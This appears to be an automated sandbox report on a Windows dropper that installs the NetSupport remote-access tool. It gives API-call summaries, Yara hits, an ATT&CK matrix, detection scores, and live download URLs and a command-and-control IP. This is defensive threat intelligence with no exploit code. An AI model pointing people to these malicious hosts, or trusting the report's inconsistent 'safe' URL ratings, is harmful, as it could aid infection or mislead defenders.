Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	7_2_1116FFE3
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	7_2_1116FEEE
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	7_2_1117008A
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	7_2_111703DD
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	7_2_111702B6
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: __getptd,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,_strcpy_s,__invoke_watson,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	9_2_11170419
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: GetLocaleInfoA,	9_2_11167A6E
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,	9_2_1116FFE3
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	9_2_1116FEEE
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: GetLocaleInfoW,_GetPrimaryLen,_strlen,	9_2_1117008A
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_strlen,GetLocaleInfoA,_strlen,_TestDefaultLanguage,	9_2_111700E5
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	9_2_11170376
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	9_2_111703DD
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: __getptd,_LcidFromHexString,GetLocaleInfoA,_TestDefaultLanguage,	9_2_111702B6
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: GetLocaleInfoW,free,_calloc_crt,strncpy_s,GetLocaleInfoW,GetLocaleInfoW,_calloc_crt,GetLocaleInfoW,GetLastError,_calloc_crt,free,free,__invoke_watson,	9_2_6C72888A
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: _getptd,GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoA,GetLocaleInfoA,GetLocaleInfoA,_itoa_s,__fassign,free,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_strlen,EnumSystemLocalesA,strcpy_s,__invoke_watson,___wtomb_environ,_malloc_crt,_malloc_crt,free,__recalloc_crt,__recalloc_crt,_strlen,_calloc_crt,_strlen,strcpy_s,SetEnvironmentVariableA,_errno,free,free,__invoke_watson,	9_2_6C728468
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: GetLocaleInfoA,_errno,_invalid_parameter_noinfo,_errno,_invalid_parameter_noinfo,_errno,	9_2_6C7265F0
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: GetLocaleInfoW,strcmp,strcmp,GetLocaleInfoW,atol,GetACP,	9_2_6C7285AC
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,WideCharToMultiByte,_freea_s,	9_2_6C7286FD
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: GetLocaleInfoW,WideCharToMultiByte,_freea_s,	9_2_6C7286E5
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,WideCharToMultiByte,_freea_s,malloc,	9_2_6C72871C

Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Code function: 7_2_110F1070 LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,CreateNamedPipeA,GetLastError,Sleep,CreateNamedPipeA,LocalFree,

7_2_110F1070

Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe

Code function: 0_2_00007FF749E118E4 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,GetTickCount,QueryPerformanceCounter,

0_2_00007FF749E118E4

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Code function: 7_2_1103B170 _calloc,GetUserNameA,_free,_calloc,_free,

7_2_1103B170

Source: C:\Users\user\AppData\Local\DNScache\client32.exe

Code function: 7_2_11171199 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,

7_2_11171199

Source: C:\Users\user\Desktop\5q1Wm5VlqL.exe

Code function: 0_2_00007FF749E17FE4 GetVersion,GetModuleHandleW,GetProcAddress,ExitWindowsEx,CloseHandle,

0_2_00007FF749E17FE4

Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_1106F200 CapiHangup,CapiClose,CapiOpen,CapiListen,GetTickCount,GetTickCount,GetTickCount,CapiHangup,Sleep,GetTickCount,Sleep,	7_2_1106F200
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_110D5D90 __CxxThrowException@8,gethostbyname,WSAGetLastError,_memmove,htons,socket,WSAGetLastError,#21,bind,WSAGetLastError,listen,WSAGetLastError,accept,WSAGetLastError,	7_2_110D5D90
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 7_2_6C4DA980 EnterCriticalSection,LeaveCriticalSection,LeaveCriticalSection,LeaveCriticalSection,WSAGetLastError,socket,WSAGetLastError,#21,#21,#21,bind,WSAGetLastError,closesocket,htons,WSASetBlockingHook,WSAGetLastError,WSAUnhookBlockingHook,closesocket,WSAGetLastError,WSAUnhookBlockingHook,closesocket,WSAUnhookBlockingHook,EnterCriticalSection,InitializeCriticalSection,getsockname,LeaveCriticalSection,GetTickCount,InterlockedExchange,	7_2_6C4DA980
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_1106F200 CapiHangup,CapiClose,CapiOpen,CapiListen,GetTickCount,GetTickCount,GetTickCount,CapiHangup,Sleep,GetTickCount,Sleep,	9_2_1106F200
Source: C:\Users\user\AppData\Local\DNScache\client32.exe	Code function: 9_2_110D5D90 __CxxThrowException@8,gethostbyname,WSAGetLastError,_memmove,htons,socket,WSAGetLastError,#21,bind,WSAGetLastError,listen,WSAGetLastError,accept,WSAGetLastError,	9_2_110D5D90

Source: Yara match	File source: 7.0.client32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.client32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.client32.exe.6c7e0000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.client32.exe.6c800000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.client32.exe.6c7e0000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.client32.exe.6c800000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.client32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.client32.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.client32.exe.111b32a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.client32.exe.111b32a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.client32.exe.6c4d0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.client32.exe.11000000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2300141192.000000001118F000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4615887616.000000006C510000.00000002.00000001.01000000.0000000D.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2287672288.000000000152E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2300236676.00000000111DC000.00000004.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 1stovl.exe PID: 1136, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: client32.exe PID: 4900, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: client32.exe PID: 2924, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\DNScache\PCICHEK.DLL, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\DNScache\pcicapi.dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\DNScache\client32.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\DNScache\AudioCapture.dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\DNScache\TCCTL32.DLL, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\DNScache\HTCTL32.DLL, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\DNScache\PCICL32.DLL, type: DROPPED

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	14 Native API	2 Valid Accounts	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Bluetooth	1 Defacement
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Windows Service	2 Valid Accounts	4 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Input Capture	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 Service Execution	1 Scheduled Task/Job	21 Access Token Manipulation	2 Software Packing	NTDS	45 System Information Discovery	Distributed Component Object Model	3 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	1 Registry Run Keys / Startup Folder	1 Windows Service	1 Timestomp	LSA Secrets	141 Security Software Discovery	SSH	Keylogging	4 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	23 Process Injection	1 DLL Side-Loading	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	1 Scheduled Task/Job	1 Masquerading	DCSync	1 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	1 Registry Run Keys / Startup Folder	2 Valid Accounts	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	2 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	21 Access Token Manipulation	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	23 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	1 Rundll32	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
5q1Wm5VlqL.exe	26%	ReversingLabs	Win64.Dropper.Generic
5q1Wm5VlqL.exe	100%	Avira	HEUR/AGEN.1320053

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	100%	Avira	HEUR/AGEN.1320053
C:\Users\user\AppData\Local\DNScache\AudioCapture.dll	3%	ReversingLabs
C:\Users\user\AppData\Local\DNScache\HTCTL32.DLL	3%	ReversingLabs
C:\Users\user\AppData\Local\DNScache\PCICHEK.DLL	3%	ReversingLabs
C:\Users\user\AppData\Local\DNScache\PCICL32.DLL	17%	ReversingLabs
C:\Users\user\AppData\Local\DNScache\TCCTL32.DLL	3%	ReversingLabs
C:\Users\user\AppData\Local\DNScache\client32.exe	25%	ReversingLabs
C:\Users\user\AppData\Local\DNScache\msvcr100.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\DNScache\pcicapi.dll	3%	ReversingLabs
C:\Users\user\AppData\Local\DNScache\remcmdstub.exe	5%	ReversingLabs
C:\Users\user\AppData\Local\DNScache\rtmmvrortc.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\DNScache\rtutils.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\DNScache\sxshared.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\DNScache\sxssrv.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\DNScache\wfapigp.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\DNScache\whealogr.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\IXP000.TMP\1stovl.exe	47%	ReversingLabs	Win32.Trojan.Madokwa

Source	Detection	Scanner	Label
https://cycleconf.com/E	0%	Avira URL Cloud	safe
https://cycleconf.com/N	0%	Avira URL Cloud	safe
https://cycleconf.com/dwnld/1st2_3.zipI	0%	Avira URL Cloud	safe
https://cycleconf.com/dwnld/1st2_2.zipm	0%	Avira URL Cloud	safe
https://cycleconf.com/dwnld/1st2_3.zipG	0%	Avira URL Cloud	safe
https://cycleconf.com/dwnld/1st2_2.zipr	0%	Avira URL Cloud	safe
http://www.crossteccorp.com	0%	Avira URL Cloud	safe
https://cycleconf.com/dwnld/1st2_2.zip#	100%	Avira URL Cloud	phishing
https://cycleconf.com/dwnld/1st2_1.zip	100%	Avira URL Cloud	phishing
http://88.210.12.58/fakeurl.htm	0%	Avira URL Cloud	safe
https://cycleconf.com/dwnld/1st2_2.zip;	100%	Avira URL Cloud	phishing
https://cycleconf.com/dwnld/1st2_1.zipLhttps://cycleconf.com/dwnld/1st2_2.zipLhttps://cycleconf.com/	0%	Avira URL Cloud	safe
https://cycleconf.com/dwnld/1st2_3.zipm	0%	Avira URL Cloud	safe
https://cycleconf.com/dwnld/1st2_2.zipP	0%	Avira URL Cloud	safe
https://cycleconf.com/dwnld/1st2_2.zip	100%	Avira URL Cloud	phishing
https://cycleconf.com/dwnld/1st2_3.zip4	0%	Avira URL Cloud	safe
https://cycleconf.com/dwnld/1st2_3.zipe	0%	Avira URL Cloud	safe
https://cycleconf.com/dwnld/1st2_3.zip0	0%	Avira URL Cloud	safe
https://cycleconf.com/dwnld/1st2_3.zip	100%	Avira URL Cloud	phishing
https://cycleconf.com/dwnld/1st2_4.zip	100%	Avira URL Cloud	phishing
https://cycleconf.com/	0%	Avira URL Cloud	safe
https://cycleconf.com/dwnld/1st2_3.zipA	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
geo.netsupportsoftware.com	104.26.1.231	true	false	high
ganeres1.com	88.210.12.58	true	true	unknown
cycleconf.com	23.254.224.41	true	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://geo.netsupportsoftware.com/location/loca.asp	false		high
http://88.210.12.58/fakeurl.htm	true	Avira URL Cloud: safe	unknown
https://cycleconf.com/dwnld/1st2_1.zip	true	Avira URL Cloud: phishing	unknown
https://cycleconf.com/dwnld/1st2_2.zip	false	Avira URL Cloud: phishing	unknown
https://cycleconf.com/dwnld/1st2_3.zip	false	Avira URL Cloud: phishing	unknown
https://cycleconf.com/dwnld/1st2_4.zip	false	Avira URL Cloud: phishing	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.netsupportsoftware.com	1stovl.exe, 00000002.00000002.2287672288.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, PCICL32.DLL.2.dr	false		high
https://cycleconf.com/dwnld/1st2_2.zipr	1stovl.exe, 00000002.00000003.2205698170.00000000014CD000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000002.2287672288.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000003.2251872309.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cycleconf.com/dwnld/1st2_3.zipG	1stovl.exe, 00000002.00000003.2251872309.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://secure.globalsign.net/cacert/ObjectSign.crt09	client32.exe.2.dr	false		high
http://www.pci.co.uk/support	client32.exe, 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000009.00000002.2300236676.00000000111DC000.00000004.00000001.01000000.00000009.sdmp, PCICL32.DLL.2.dr	false		high
https://cycleconf.com/E	1stovl.exe, 00000002.00000003.2251872309.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://%s/testpage.htmwininet.dll	client32.exe, 00000007.00000002.4615887616.000000006C510000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.2.dr	false		high
https://cycleconf.com/dwnld/1st2_2.zipm	1stovl.exe, 00000002.00000003.2205698170.00000000014CD000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000002.2287672288.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000003.2251872309.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://geo.netsupportsoftware.com/location/loca.aspSetChannel(%s)	client32.exe, 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000009.00000002.2300141192.000000001118F000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.2.dr	false		high
https://cycleconf.com/dwnld/1st2_3.zipI	1stovl.exe, 00000002.00000003.2251872309.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.pci.co.uk/supportsupport	client32.exe, 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000009.00000002.2300236676.00000000111DC000.00000004.00000001.01000000.00000009.sdmp, PCICL32.DLL.2.dr	false		high
http://www.crossteccorp.com	TCCTL32.DLL.2.dr, client32.exe.2.dr	false	Avira URL Cloud: safe	unknown
https://cycleconf.com/N	1stovl.exe, 00000002.00000003.2205698170.00000000014CD000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000003.2251872309.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.thawte.com0	1stovl.exe, 00000002.00000002.2287672288.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.2.dr, PCICL32.DLL.2.dr	false		high
https://cycleconf.com/dwnld/1st2_2.zip#	1stovl.exe, 00000002.00000003.2205698170.00000000014CD000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000003.2251872309.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
http://127.0.0.1RESUMEPRINTING	client32.exe, 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmp, client32.exe, 00000009.00000002.2300141192.000000001118F000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.2.dr	false		high
http://%s/testpage.htm	client32.exe, client32.exe, 00000007.00000002.4615887616.000000006C510000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.2.dr	false		high
https://cycleconf.com/dwnld/1st2_2.zip;	1stovl.exe, 00000002.00000003.2205698170.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://127.0.0.1	client32.exe, client32.exe, 00000009.00000002.2300141192.000000001118F000.00000002.00000001.01000000.00000009.sdmp, PCICL32.DLL.2.dr	false		high
http://www.symauth.com/cps0(	1stovl.exe, 00000002.00000002.2287672288.000000000150D000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000002.2287672288.000000000152E000.00000004.00000020.00020000.00000000.sdmp, AudioCapture.dll.2.dr, PCICHEK.DLL.2.dr, HTCTL32.DLL.2.dr, pcicapi.dll.2.dr	false		high
https://cycleconf.com/dwnld/1st2_1.zipLhttps://cycleconf.com/dwnld/1st2_2.zipLhttps://cycleconf.com/	1stovl.exe, 00000002.00000002.2287672288.000000000144E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.globalsign.net/repository/0	client32.exe.2.dr	false		high
http://%s/fakeurl.htm	client32.exe, client32.exe, 00000007.00000002.4615887616.000000006C510000.00000002.00000001.01000000.0000000D.sdmp, HTCTL32.DLL.2.dr	false		high
http://secure.globalsign.net/cacert/PrimObject.crt0	client32.exe.2.dr	false		high
https://cycleconf.com/dwnld/1st2_2.zipP	1stovl.exe, 00000002.00000003.2205698170.00000000014CD000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000003.2251872309.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cycleconf.com/dwnld/1st2_3.zipe	1stovl.exe, 00000002.00000003.2251872309.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	1stovl.exe, 00000002.00000002.2287672288.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, TCCTL32.DLL.2.dr, PCICL32.DLL.2.dr	false		high
http://crl.microso	1stovl.exe, 00000002.00000002.2287672288.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000003.2251872309.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.symauth.com/rpa00	1stovl.exe, 00000002.00000002.2287672288.000000000150D000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000002.2287672288.000000000152E000.00000004.00000020.00020000.00000000.sdmp, AudioCapture.dll.2.dr, PCICHEK.DLL.2.dr, HTCTL32.DLL.2.dr, pcicapi.dll.2.dr	false		high
https://cycleconf.com/dwnld/1st2_3.zipm	1stovl.exe, 00000002.00000003.2251872309.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cycleconf.com/dwnld/1st2_3.zip0	1stovl.exe, 00000002.00000003.2251872309.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cycleconf.com/dwnld/1st2_3.zip4	1stovl.exe, 00000002.00000002.2287672288.00000000014B8000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000003.2251872309.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.globalsign.net/repository09	client32.exe.2.dr	false		high
http://www.netsupportschool.com/tutor-assistant.asp11(	client32.exe, 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000009.00000002.2300236676.00000000111DC000.00000004.00000001.01000000.00000009.sdmp, PCICL32.DLL.2.dr	false		high
http://www.netsupportschool.com/tutor-assistant.asp	client32.exe, 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmp, client32.exe, 00000009.00000002.2300236676.00000000111DC000.00000004.00000001.01000000.00000009.sdmp, PCICL32.DLL.2.dr	false		high
https://cycleconf.com/	1stovl.exe, 00000002.00000002.2287672288.0000000001492000.00000004.00000020.00020000.00000000.sdmp, 1stovl.exe, 00000002.00000003.2251872309.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cycleconf.com/dwnld/1st2_3.zipA	1stovl.exe, 00000002.00000003.2251872309.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
88.210.12.58	ganeres1.com	Russian Federation	25308	CITYLAN-ASRU	true
104.26.1.231	geo.netsupportsoftware.com	United States	13335	CLOUDFLARENETUS	false
23.254.224.41	cycleconf.com	United States	54290	HOSTWINDSUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1569831
Start date and time:	2024-12-06 10:38:24 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 11m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	5q1Wm5VlqL.exe renamed because original name is a hash value
Original Sample Name:	f411f07437db9f29222e19af93f72906.exe
Detection:	MAL
Classification:	mal100.rans.troj.evad.winEXE@10/25@3/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 79% Number of executed functions: 156 Number of non-executed functions: 190
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 5q1Wm5VlqL.exe

Simulations

Behavior and APIs

Time	Type	Description
04:40:02	API Interceptor	11509719x Sleep call for process: client32.exe modified
10:39:32	Task Scheduler	Run new task: DNScache path: C:\Users\user\AppData\Local\DNScache\client32.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.26.1.231	Update.js	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	file.exe	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	Pyyidau.vbs	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	file.exe	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
	file.exe	Get hash	malicious	NetSupport RAT	Browse	geo.netsupportsoftware.com/location/loca.asp
